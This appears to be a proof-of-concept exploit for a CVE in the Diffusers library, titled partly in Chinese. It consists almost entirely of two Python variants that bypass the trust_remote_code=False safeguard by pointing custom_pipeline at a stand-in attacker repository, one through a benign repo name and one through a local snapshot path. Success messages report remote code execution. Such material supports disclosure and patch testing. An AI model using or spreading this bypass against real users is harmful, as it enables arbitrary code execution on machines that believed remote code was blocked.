CVE-2026-44513: Diffusers trust_remote_code绕过致RCE

# PoC for CVE-2026-44513: Diffusers trust_remote_code bypass # Variant 1: Bypass using custom_pipeline pointing to attacker's repo from diffusers import DiffusionPipeline # The check evaluates 'benign_repo', but loads code from 'attacker/repo' try: pipe = DiffusionPipeline.from_pretrained( "benign_user/safe-model", # repoA custom_pipeline="attacker/malicious-pipeline", # repoB trust_remote_code=False # Expected to block remote code ) print("[+] Exploit successful: Remote code executed from attacker's repo.") except Exception as e: print(f"[-] Error: {e}") # Variant 2: Bypass using local path and remote custom pipeline # The local path skips the download() method entirely try: pipe = DiffusionPipeline.from_pretrained( "/path/to/local/snapshot", custom_pipeline="attacker/malicious-pipeline", trust_remote_code=False ) print("[+] Exploit successful: Remote code executed via local path bypass.") except Exception as e: print(f"[-] Error: {e}")